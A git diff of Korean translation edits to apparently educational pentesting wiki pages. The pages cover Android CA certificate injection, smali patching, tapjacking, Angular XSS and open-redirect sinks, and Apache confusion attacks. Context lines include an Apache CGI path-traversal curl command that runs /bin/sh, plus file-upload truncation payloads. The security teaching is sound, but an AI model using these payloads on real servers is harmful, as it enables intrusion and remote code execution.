-- 재부팅 후 `신뢰할 수 있는 자격 증명` -> `시스템`으로 이동하여 Postswigger 인증서가 있는지 확인합니다. +- 재부팅 후 `Trusted credentials` -> `SYSTEM`으로 이동하여 Postswigger 인증서가 있는지 확인합니다.
@@ -57,7 +57,7 @@ adb reboot #Now, reboot the machine Android 초기화는 `init` 프로세스를 포함하며, 운영 체제를 시작할 때 Zygote 프로세스도 시작됩니다. 이 프로세스는 새로운 마운트 네임스페이스를 포함하여 애플리케이션 프로세스를 시작하는 역할을 하며, 여기에는 개인 **`/apex`** 마운트가 포함되어 있어 이 디렉토리의 변경 사항이 다른 프로세스와 격리됩니다. -그럼에도 불구하고 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 우회 방법이 존재합니다. 이는 PRIVATE 전파를 제거하기 위해 **`/apex`**를 수동으로 다시 마운트하여 쓰기 가능하게 만드는 것입니다. 이 과정에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트한 후, 내용을 원래 위치인 **`/apex`**로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치를 요구합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 재시작하는 것이 좋으며, 이는 모든 애플리케이션을 효과적으로 재시작하고 시스템을 일관된 상태로 만듭니다. +그럼에도 불구하고 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 우회 방법이 존재합니다. 이는 PRIVATE 전파를 제거하기 위해 **`/apex`**를 수동으로 다시 마운트하여 쓰기 가능하게 만드는 것을 포함합니다. 이 과정은 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트한 후, 내용을 원래 위치인 **`/apex`**로 복원하는 것을 포함합니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치를 요구합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 재시작하는 것이 좋으며, 이는 모든 애플리케이션을 효과적으로 재시작하고 시스템을 일관된 상태로 만듭니다. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -122,7 +122,7 @@ echo "System certificate injected" mount -t tmpfs tmpfs /system/etc/security/cacerts ``` 2. **CA 인증서 준비**: 쓰기 가능한 디렉토리를 설정한 후, 사용하려는 CA 인증서를 이 디렉토리에 복사해야 합니다. 이는 `/apex/com.android.conscrypt/cacerts/`에서 기본 인증서를 복사하는 것을 포함할 수 있습니다. 이러한 인증서의 권한 및 SELinux 레이블을 적절히 조정하는 것이 중요합니다. -3. **Zygote에 대한 바인드 마운트**: `nsenter`를 사용하여 Zygote의 마운트 네임스페이스에 들어갑니다. Zygote는 Android 애플리케이션을 시작하는 프로세스이므로, 이후 시작되는 모든 애플리케이션이 새로 구성된 CA 인증서를 사용하도록 보장하기 위해 이 단계가 필요합니다. 사용되는 명령은: +3. **Zygote에 대한 바인드 마운트**: `nsenter`를 사용하여 Zygote의 마운트 네임스페이스에 들어갑니다. Zygote는 Android 애플리케이션을 시작하는 프로세스이므로, 이후 시작되는 모든 애플리케이션이 새로 구성된 CA 인증서를 사용하도록 이 단계를 수행해야 합니다. 사용되는 명령은: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index f3b7e0309..20e30a625 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ # 자동 -도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 적용하고 인증서 핀닝을 비활성화합니다(있는 경우). +도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하며, 인증서 핀닝을 비활성화합니다(있는 경우). # 수동 diff --git a/src/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md b/src/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md index d51af95de..751c21a29 100644 --- a/src/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md +++ b/src/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md @@ -2,7 +2,7 @@ ## 수동 **디옵스큐레이션 기법** -**소프트웨어 보안** 분야에서, 모호한 코드를 이해할 수 있도록 만드는 과정인 **디옵스큐레이션**은 매우 중요합니다. 이 가이드는 정적 분석 기법과 난독화 패턴 인식에 중점을 두고 다양한 디옵스큐레이션 전략을 탐구합니다. 또한, 실용적인 적용을 위한 연습 문제를 소개하고, 더 고급 주제를 탐구하고자 하는 이들을 위한 추가 자료를 제안합니다. +**소프트웨어 보안** 분야에서, 모호한 코드를 이해할 수 있도록 만드는 과정인 **디옵스큐레이션**은 매우 중요합니다. 이 가이드는 정적 분석 기법과 난독화 패턴 인식에 중점을 두고 다양한 디옵스큐레이션 전략을 탐구합니다. 또한, 실용적인 적용을 위한 연습을 소개하고, 더 고급 주제를 탐구하고자 하는 이들을 위한 추가 자료를 제안합니다. ### **정적 디옵스큐레이션 전략** @@ -15,8 +15,8 @@ 난독화된 코드를 인식하는 것은 디옵스큐레이션 과정의 첫 번째 단계입니다. 주요 지표는 다음과 같습니다: -- Java 및 Android에서 **문자열의 부재 또는 혼란**은 문자열 난독화를 시사할 수 있습니다. -- **자산 디렉토리의 이진 파일 존재** 또는 `DexClassLoader` 호출은 코드 언팩 및 동적 로딩을 암시합니다. +- Java 및 Android에서 **문자열의 부재 또는 혼란**이 문자열 난독화를 나타낼 수 있습니다. +- 자산 디렉토리의 **바이너리 파일 존재** 또는 `DexClassLoader` 호출은 코드 언팩 및 동적 로딩을 암시합니다. - **식별할 수 없는 JNI 함수와 함께 사용되는 네이티브 라이브러리**는 네이티브 메서드의 잠재적 난독화를 나타냅니다. ## **디옵스큐레이션에서의 동적 분석** diff --git a/src/mobile-pentesting/android-app-pentesting/react-native-application.md b/src/mobile-pentesting/android-app-pentesting/react-native-application.md index baef90fd0..9fbe035dd 100644 --- a/src/mobile-pentesting/android-app-pentesting/react-native-application.md +++ b/src/mobile-pentesting/android-app-pentesting/react-native-application.md @@ -10,7 +10,7 @@ 3. `find . -print | grep -i ".bundle$"` 명령을 사용하여 JavaScript 파일을 검색합니다. -JavaScript 코드를 추가로 분석하려면 같은 디렉토리에 `index.html`이라는 파일을 생성하고 다음 코드를 입력합니다: +JavaScript 코드를 추가로 분석하려면 동일한 디렉토리에 `index.html`이라는 파일을 생성하고 다음 코드를 입력합니다: ```html ``` @@ -20,9 +20,9 @@ JavaScript 코드를 추가로 분석하려면 같은 디렉토리에 `index.htm 2. **OS X의 경우 Command+Option+J** 또는 **Windows의 경우 Control+Shift+J**를 눌러 개발자 도구를 엽니다. -3. 개발자 도구에서 "Sources"를 클릭합니다. 폴더와 파일로 나뉘어진 JavaScript 파일이 표시되어야 하며, 이는 주요 번들을 구성합니다. +3. 개발자 도구에서 "Sources"를 클릭합니다. 폴더와 파일로 나뉘어진 JavaScript 파일이 보이며, 이는 주요 번들을 구성합니다. -`index.android.bundle.map`이라는 파일을 찾으면, 비축소화된 형식으로 소스 코드를 분석할 수 있습니다. 맵 파일은 소스 매핑을 포함하고 있어 축소된 식별자를 매핑할 수 있습니다. +`index.android.bundle.map`이라는 파일을 찾으면, 비축소 형식으로 소스 코드를 분석할 수 있습니다. 맵 파일은 소스 매핑을 포함하고 있어 축소된 식별자를 매핑할 수 있습니다. 민감한 자격 증명 및 엔드포인트를 검색하려면 다음 단계를 따르세요: @@ -30,7 +30,7 @@ JavaScript 코드를 추가로 분석하려면 같은 디렉토리에 `index.htm 2. 이 특정 경우에 애플리케이션이 Dialogflow 서비스를 사용하고 있는 것으로 관찰되었습니다. 해당 구성과 관련된 패턴을 검색합니다. -3. 재콘 과정 중에 JavaScript 코드에서 민감한 하드코딩된 자격 증명이 발견된 것은 다행이었습니다. +3. 재조사 과정에서 JavaScript 코드에서 민감한 하드코딩된 자격 증명이 발견된 것은 다행이었습니다. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index a10c7f526..bc09b9c31 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -4,7 +4,7 @@ **자세한 정보는 다음을 확인하세요:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -안드로이드 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성코드 제작자들도 이러한 라이브러리를 사용하며, 이는 DEX 바이트코드보다 리버스 엔지니어링이 더 어렵습니다. 이 섹션은 어셈블리 언어를 가르치는 대신 안드로이드에 맞춘 리버스 엔지니어링 기술을 강조합니다. 호환성을 위해 ARM 및 x86 버전의 라이브러리가 제공됩니다. +안드로이드 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성코드 제작자들도 이러한 라이브러리를 사용하며, 이는 DEX 바이트코드보다 리버스 엔지니어링이 더 어렵기 때문입니다. 이 섹션은 어셈블리 언어를 가르치는 대신 안드로이드에 맞춘 리버스 엔지니어링 기술을 강조합니다. 호환성을 위해 ARM 및 x86 버전의 라이브러리가 제공됩니다. ### 주요 사항: @@ -19,10 +19,10 @@ - JNI와 NDK는 자바(또는 코틀린) 코드와 네이티브 라이브러리를 연결합니다. - **라이브러리 로딩 및 실행:** - 라이브러리는 `System.loadLibrary` 또는 `System.load`를 사용하여 메모리에 로드됩니다. -- 라이브러리 로딩 시 JNI_OnLoad가 실행됩니다. +- 라이브러리 로딩 시 `JNI_OnLoad`가 실행됩니다. - 자바에서 선언된 네이티브 메서드는 네이티브 함수에 연결되어 실행을 가능하게 합니다. - **자바 메서드를 네이티브 함수에 연결하기:** -- **동적 링크:** 네이티브 라이브러리의 함수 이름이 특정 패턴과 일치하여 자동 링크를 허용합니다. +- **동적 링크:** 네이티브 라이브러리의 함수 이름이 특정 패턴과 일치하여 자동 링크가 가능합니다. - **정적 링크:** `RegisterNatives`를 사용하여 링크하며, 함수 이름 및 구조에 유연성을 제공합니다. - **리버스 엔지니어링 도구 및 기술:** - Ghidra 및 IDA Pro와 같은 도구는 네이티브 라이브러리를 분석하는 데 도움을 줍니다. diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index 2fcfb8e16..66811b458 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -10,7 +10,7 @@ **Visual Studio Code**와 [APKLab](https://github.com/APKLab/APKLab) 확장을 사용하면 **자동으로 디컴파일**, 수정, **재컴파일**, 서명 및 애플리케이션을 설치할 수 있습니다. 어떤 명령도 실행할 필요가 없습니다. -이 작업을 많이 용이하게 하는 또 다른 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다. +또한 이 작업을 많이 용이하게 하는 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다. ## Decompile the APK @@ -18,20 +18,20 @@ APKTool을 사용하면 **smali 코드와 리소스**에 접근할 수 있습니 ```bash apktool d APP.apk ``` -만약 **apktool**이 오류를 발생시킨다면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요. +If **apktool**에서 오류가 발생하면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요. -당신이 **살펴봐야 할 흥미로운 파일들**은 다음과 같습니다: +**확인해야 할 흥미로운 파일은**: - _res/values/strings.xml_ (및 res/values/* 내의 모든 xml) - _AndroidManifest.xml_ - 확장자가 _.sqlite_ 또는 _.db_인 모든 파일 -만약 `apktool`이 **애플리케이션을 디코딩하는 데 문제가 있다면**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)를 확인하거나 **`-r`** (리소스를 디코딩하지 않음) 인수를 사용해 보세요. 그러면 문제가 리소스에 있었고 소스 코드에는 없었다면, 문제를 겪지 않을 것입니다 (리소스도 디컴파일하지 않습니다). +`apktool`이 **애플리케이션을 디코딩하는 데 문제가 있다면**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)를 확인하거나 **`-r`** 인수를 사용해 보세요 (리소스를 디코딩하지 않음). 그런 다음, 문제가 리소스에 있었고 소스 코드에 없었다면, 문제는 발생하지 않을 것입니다 (리소스도 디컴파일되지 않습니다). ## Smali 코드 변경 -당신은 **명령어를 변경**하거나, 일부 변수의 **값을 변경**하거나, **새로운 명령어를 추가**할 수 있습니다. 저는 [**VS Code**](https://code.visualstudio.com)를 사용하여 Smali 코드를 변경하며, 그 후 **smalise 확장**을 설치하면 편집기가 어떤 **명령어가 잘못되었는지** 알려줍니다.\ -일부 **예제**는 여기에서 찾을 수 있습니다: +**명령어를 변경**하거나, 일부 변수의 **값을 변경**하거나, **새 명령어를 추가**할 수 있습니다. 저는 [**VS Code**](https://code.visualstudio.com)를 사용하여 Smali 코드를 변경하며, **smalise 확장 프로그램**을 설치하면 편집기가 **명령어가 잘못되었는지** 알려줍니다.\ +**예제**는 여기에서 찾을 수 있습니다: - [Smali 변경 예제](smali-changes.md) - [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md) @@ -67,7 +67,7 @@ zipalign -v 4 infile.apk ``` ### **새 APK 서명하기 (다시?)** -**apksigner**를 사용하고 싶다면 [**apksigner**](https://developer.android.com/studio/command-line/) 대신 jarsigner를 사용하세요. **zipalign으로 최적화를 적용한 후 apk를 서명해야 합니다.** 하지만 **jarsigner로 애플리케이션을 한 번만 서명해야 한다는 점에 유의하세요** (zipalign 이전) 또는 aspsigner로 (zipalign 이후). +만약 **apksigner**를 사용하고 싶다면, **zipalign으로 최적화를 적용한 후 apk를 서명해야 합니다**. 하지만 **jarsigner로 애플리케이션을 한 번만 서명해야 한다는 점에 유의하세요** (zipalign 이전) 또는 **aspsigner로 서명해야 합니다** (zipalign 이후). ```bash apksigner sign --ks key.jks ./dist/mycompiled.apk ``` @@ -95,7 +95,7 @@ Smali 명령어 집합은 [여기](https://source.android.com/devices/tech/dalvi ### 함수 내 변수의 초기 값 수정 -일부 변수는 _const_ 오프코드를 사용하여 함수의 시작 부분에서 정의되며, 해당 값들을 수정하거나 새로운 값을 정의할 수 있습니다: +일부 변수는 _const_ 오프코드를 사용하여 함수의 시작 부분에서 정의되며, 해당 변수의 값을 수정하거나 새로운 변수를 정의할 수 있습니다: ```bash #Number const v9, 0xf4240 @@ -142,14 +142,14 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin - 함수 내에서 선언된 변수를 사용할 경우 (선언된 v0, v1, v2...) 이 줄들을 _.local \_와 변수 선언(_const v0, 0x1_) 사이에 넣으세요. - 함수 코드 중간에 로깅 코드를 넣고 싶다면: - 선언된 변수의 수에 2를 추가하세요: 예: _.locals 10_에서 _.locals 12_로. - - 새로운 변수는 이미 선언된 변수의 다음 숫자여야 합니다 (이 예에서는 _v10_과 _v11_이어야 하며, v0에서 시작한다는 것을 기억하세요). + - 새로운 변수는 이미 선언된 변수의 다음 숫자가 되어야 합니다 (이 예에서는 _v10_과 _v11_이어야 하며, v0에서 시작한다는 것을 기억하세요). - 로깅 함수의 코드를 변경하고 _v5_와 _v1_ 대신 _v10_과 _v11_을 사용하세요. ### 토스트 함수 시작 부분에서 _.locals_의 수에 3을 추가하는 것을 잊지 마세요. -이 코드는 **함수의 중간에** 삽입되도록 준비되었습니다 (**변수의** **숫자**는 필요에 따라 **변경**하세요). 이 코드는 **this.o**의 **값**을 가져와 **String**으로 **변환**한 다음 **그 값으로** **토스트**를 **만들** 것입니다. +이 코드는 **함수의 중간에** 삽입되도록 준비되었습니다 (**변수**의 **숫자**는 필요에 따라 **변경**하세요). 이 코드는 **this.o**의 **값**을 **가져와서**, **String**으로 **변환**한 다음 **그 값으로** **토스트**를 **만들** 것입니다. ```bash const/4 v10, 0x1 const/4 v11, 0x1 diff --git a/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md index f6c1fe3b2..ee2f946f4 100644 --- a/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md +++ b/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md @@ -21,14 +21,14 @@ 4. **제한된 애플리케이션 접근:** - **Google Play 스토어**를 엽니다. -- 이제 스토어는 VPN을 통해 연결한 국가의 콘텐츠를 반영해야 합니다. +- 스토어는 이제 VPN을 통해 연결한 국가의 콘텐츠를 반영해야 합니다. - 이전에 실제 위치에서 사용할 수 없었던 애플리케이션을 검색하고 설치할 수 있어야 합니다. ### 중요 사항: - 이 방법의 효과는 VPN 서비스의 신뢰성과 애플리케이션에 의해 부과된 특정 지역 제한을 포함한 여러 요인에 따라 달라질 수 있습니다. - VPN을 정기적으로 사용하면 일부 앱 및 서비스의 성능에 영향을 미칠 수 있습니다. -- 사용하는 앱이나 서비스의 서비스 약관을 숙지하십시오. 지역 제한을 우회하기 위해 VPN을 사용하는 것은 해당 약관을 위반할 수 있습니다. +- 사용하는 모든 앱 또는 서비스의 서비스 약관을 숙지하십시오. 지역 제한을 우회하기 위해 VPN을 사용하는 것은 해당 약관을 위반할 수 있습니다. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index e2df80f95..27bb3f7fa 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -15,7 +15,7 @@ #### Android 12 (API 31,32) 및 그 이상 -[**이 출처에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking 공격은 Android 12 (API 31 & 30) 및 그 이상에서 Android에 의해 자동으로 방지됩니다. 따라서 애플리케이션이 취약하더라도 **악용할 수 없습니다**. +[**이 출처에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking 공격은 Android 12 (API 31 & 30) 및 그 이상에서 자동으로 방지됩니다. 따라서 애플리케이션이 취약하더라도 **악용할 수 없습니다**. #### `filterTouchesWhenObscured` @@ -23,8 +23,8 @@ #### **`setFilterTouchesWhenObscured`** -**`setFilterTouchesWhenObscured`** 속성이 true로 설정되면 Android 버전이 낮더라도 이 취약점의 악용을 방지할 수 있습니다.\ -예를 들어, **`true`**로 설정하면 버튼이 **가려질 경우 자동으로 비활성화**될 수 있습니다: +**`setFilterTouchesWhenObscured`** 속성이 true로 설정되면, 안드로이드 버전이 낮더라도 이 취약점의 악용을 방지할 수 있습니다.\ +예를 들어, **`true`**로 설정하면 버튼이 가려질 경우 자동으로 **비활성화될 수 있습니다**: ```xml ``` -우리의 연구 중에, 우리는 XSS 및 CSS 주입과 관련하여 `setStyle()`, `createComment()`, 및 `setValue()`와 같은 다른 `Renderer2` 메서드의 동작도 검토했습니다. 그러나 이 메서드의 기능적 제한으로 인해 유효한 공격 벡터를 찾을 수 없었습니다. +연구 중에 우리는 XSS 및 CSS 주입과 관련하여 `Renderer2`의 다른 메서드인 `setStyle()`, `createComment()`, 및 `setValue()`의 동작도 조사했습니다. 그러나 이러한 메서드의 기능적 제한으로 인해 유효한 공격 벡터를 찾을 수 없었습니다. #### jQuery -jQuery는 HTML DOM 객체 조작을 돕기 위해 Angular 프로젝트에서 사용할 수 있는 빠르고 작고 기능이 풍부한 JavaScript 라이브러리입니다. 그러나 이 라이브러리의 메서드는 XSS 취약점을 달성하기 위해 악용될 수 있는 것으로 알려져 있습니다. 일부 취약한 jQuery 메서드가 Angular 프로젝트에서 어떻게 악용될 수 있는지 논의하기 위해 이 하위 섹션을 추가했습니다. +jQuery는 HTML DOM 객체 조작을 돕기 위해 Angular 프로젝트에서 사용할 수 있는 빠르고 작고 기능이 풍부한 JavaScript 라이브러리입니다. 그러나 이 라이브러리의 메서드는 XSS 취약점을 달성하기 위해 악용될 수 있는 것으로 알려져 있습니다. Angular 프로젝트에서 취약한 jQuery 메서드가 어떻게 악용될 수 있는지 논의하기 위해 이 하위 섹션을 추가했습니다. * `html()` 메서드는 일치하는 요소 집합의 첫 번째 요소의 HTML 내용을 가져오거나 모든 일치하는 요소의 HTML 내용을 설정합니다. 그러나 설계상 HTML 문자열을 수용하는 모든 jQuery 생성자 또는 메서드는 잠재적으로 코드를 실행할 수 있습니다. 이는 `");

some text here

``` -* `jQuery.parseHTML()` 메서드는 문자열을 DOM 노드 집합으로 변환하기 위해 기본 메서드를 사용하며, 이 노드는 문서에 삽입될 수 있습니다. +* `jQuery.parseHTML()` 메서드는 문자열을 DOM 노드 집합으로 변환하기 위해 기본 메서드를 사용하며, 이를 문서에 삽입할 수 있습니다. ```tsx jQuery.parseHTML(data [, context ] [, keepScripts ]) @@ -450,7 +450,7 @@ W3C 문서에 따르면, `window.location` 및 `document.location` 객체는 최 * `window.location.href`(및 `document.location.href`) -현재 DOM 위치 객체를 가져오는 표준 방법은 `window.location`을 사용하는 것입니다. 이는 브라우저를 새 페이지로 리디렉션하는 데에도 사용될 수 있습니다. 결과적으로 이 객체에 대한 제어를 가지면 열린 리디렉션 취약점을 악용할 수 있습니다. +현재 DOM 위치 객체를 가져오는 표준 방법은 `window.location`을 사용하는 것입니다. 또한 이를 사용하여 브라우저를 새 페이지로 리디렉션할 수 있습니다. 결과적으로 이 객체에 대한 제어를 가지면 열린 리디렉션 취약점을 악용할 수 있습니다. ```tsx //app.component.ts @@ -483,7 +483,7 @@ window.location.assign("https://google.com/about") 이 메서드는 현재 리소스를 제공된 URL의 리소스로 대체합니다. -이것은 `assign()` 메서드와 다르며, `window.location.replace()`를 사용한 후 현재 페이지는 세션 기록에 저장되지 않습니다. 그러나 이 메서드에 대한 제어를 가질 때 열린 리디렉션 취약점을 악용할 수도 있습니다. +`assign()` 메서드와의 차이점은 `window.location.replace()`를 사용한 후 현재 페이지가 세션 기록에 저장되지 않는다는 것입니다. 그러나 이 메서드에 대한 제어를 가질 때 열린 리디렉션 취약점을 악용할 수도 있습니다. ```tsx //app.component.ts @@ -496,7 +496,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -`window.open()` 메서드는 URL을 가져와서 이를 새 탭이나 기존 탭 또는 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 수 있는 기회가 될 수 있습니다. +`window.open()` 메서드는 URL을 가져와서 이를 새 탭이나 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 수 있는 기회가 될 수 있습니다. ```tsx //app.component.ts @@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank") #### Angular 클래스 -* Angular 문서에 따르면, Angular `Document`는 DOM 문서와 동일하며, 이는 Angular에서 클라이언트 측 취약점을 악용하기 위해 DOM 문서에 대한 일반 벡터를 사용할 수 있음을 의미합니다. `Document.location` 속성과 메서드는 아래의 예와 같이 성공적인 열린 리디렉션 공격의 싱크가 될 수 있습니다: +* Angular 문서에 따르면, Angular `Document`는 DOM 문서와 동일하므로 Angular에서 클라이언트 측 취약점을 악용하기 위해 DOM 문서에 대한 일반 벡터를 사용할 수 있습니다. `Document.location` 속성과 메서드는 성공적인 열린 리디렉션 공격의 싱크가 될 수 있습니다. 예를 들어: ```tsx //app.component.ts @@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* 연구 단계에서 우리는 열린 리디렉션 취약점에 대한 Angular `Location` 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. `Location`은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하기 위한 여러 메서드 - `go()`, `replaceState()`, 및 `prepareExternalUrl()`를 가지고 있습니다. 그러나 우리는 이를 외부 도메인으로 리디렉션하는 데 사용할 수 없습니다. 예를 들어: +* 연구 단계에서 우리는 열린 리디렉션 취약점에 대한 Angular `Location` 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. `Location`은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하는 여러 메서드 - `go()`, `replaceState()`, 및 `prepareExternalUrl()`를 가지고 있습니다. 그러나 외부 도메인으로 리디렉션하는 데 사용할 수는 없습니다. 예를 들어: ```tsx //app.component.ts diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index a75f78070..091e2c7e9 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -21,17 +21,17 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## Confusion Attack +## 혼란 공격 -이러한 유형의 공격은 [**오렌지의 블로그 게시물에서**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) 소개되고 문서화되었으며, 다음은 요약입니다. "혼란" 공격은 기본적으로 Apache를 생성하는 수십 개의 모듈이 완벽하게 동기화되지 않는 방식을 악용하며, 이들 중 일부가 예상치 못한 데이터를 수정하게 되면 이후 모듈에서 취약점이 발생할 수 있습니다. +이러한 유형의 공격은 [**오렌지의 블로그 게시물에서**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) 소개되고 문서화되었으며, 다음은 요약입니다. "혼란" 공격은 기본적으로 Apache를 생성하는 수십 개의 모듈이 완벽하게 동기화되지 않는 방식을 악용하며, 그 중 일부가 예상치 못한 데이터를 수정하게 되면 이후 모듈에서 취약점이 발생할 수 있습니다. -### Filename Confusion +### 파일 이름 혼란 -#### Truncation +#### 잘림 **`mod_rewrite`**는 `r->filename`의 내용을 문자 `?` 이후로 잘라냅니다 ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). 이는 대부분의 모듈이 `r->filename`을 URL로 처리하기 때문에 완전히 잘못된 것은 아닙니다. 그러나 다른 경우에는 파일 경로로 처리되어 문제가 발생할 수 있습니다. -- **Path Truncation** +- **경로 잘림** 다음 규칙 예제와 같이 `mod_rewrite`를 악용하여 파일 시스템 내의 다른 파일에 접근할 수 있으며, 예상 경로의 마지막 부분을 제거하고 단순히 `?`를 추가할 수 있습니다: ```bash @@ -63,7 +63,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL 우회** -사용자가 접근할 수 없어야 하는 파일에 접근할 수 있는 가능성이 있으며, 접근이 거부되어야 하는 구성으로도 가능합니다: +사용자가 접근할 수 없어야 하는 파일에 접근할 수 있는 가능성이 있으며, 접근이 거부되어야 하는 구성에서도 가능합니다: ```xml AuthType Basic @@ -131,7 +131,7 @@ Require all granted **XSS를 위한 로컬 가젯** -- **LibreOffice가 설치된** Ubuntu Desktop에서 도움말 파일의 언어 전환 기능을 악용하면 **교차 사이트 스크립팅 (XSS)**으로 이어질 수 있습니다. **/usr/share/libreoffice/help/help.html**에서 URL을 조작하면 악성 페이지나 이전 버전으로 리디렉션될 수 있습니다 **안전하지 않은 RewriteRule**을 통해. +- **LibreOffice가 설치된** Ubuntu Desktop에서 도움말 파일의 언어 전환 기능을 악용하면 **교차 사이트 스크립팅(XSS)**으로 이어질 수 있습니다. **/usr/share/libreoffice/help/help.html**에서 URL을 조작하면 악성 페이지나 이전 버전으로 리디렉션될 수 있습니다 **안전하지 않은 RewriteRule**을 통해. **LFI를 위한 로컬 가젯** @@ -146,7 +146,7 @@ Require all granted **RCE를 위한 로컬 가젯** -- **원격 코드 실행 (RCE)**의 기회는 방대하며, 취약한 설치(예: 구식 **PHPUnit** 또는 **phpLiteAdmin**)가 있습니다. 이러한 것들은 임의의 코드를 실행하는 데 악용될 수 있으며, 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다. +- **원격 코드 실행(RCE)**의 기회는 방대하며, 취약한 설치(예: 구식 **PHPUnit** 또는 **phpLiteAdmin**)가 있습니다. 이러한 것들은 임의의 코드를 실행하는 데 악용될 수 있으며, 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다. #### **로컬 가젯에서의 탈옥** diff --git a/src/network-services-pentesting/pentesting-web/bolt-cms.md b/src/network-services-pentesting/pentesting-web/bolt-cms.md index e5a13d1e6..eb9dccc0f 100644 --- a/src/network-services-pentesting/pentesting-web/bolt-cms.md +++ b/src/network-services-pentesting/pentesting-web/bolt-cms.md @@ -15,7 +15,7 @@ - 이전 단계에서 찾은 테마 기본값(`base-2021`인 경우)을 선택하고 `index.twig`를 선택합니다. - 제 경우에는 URL 경로 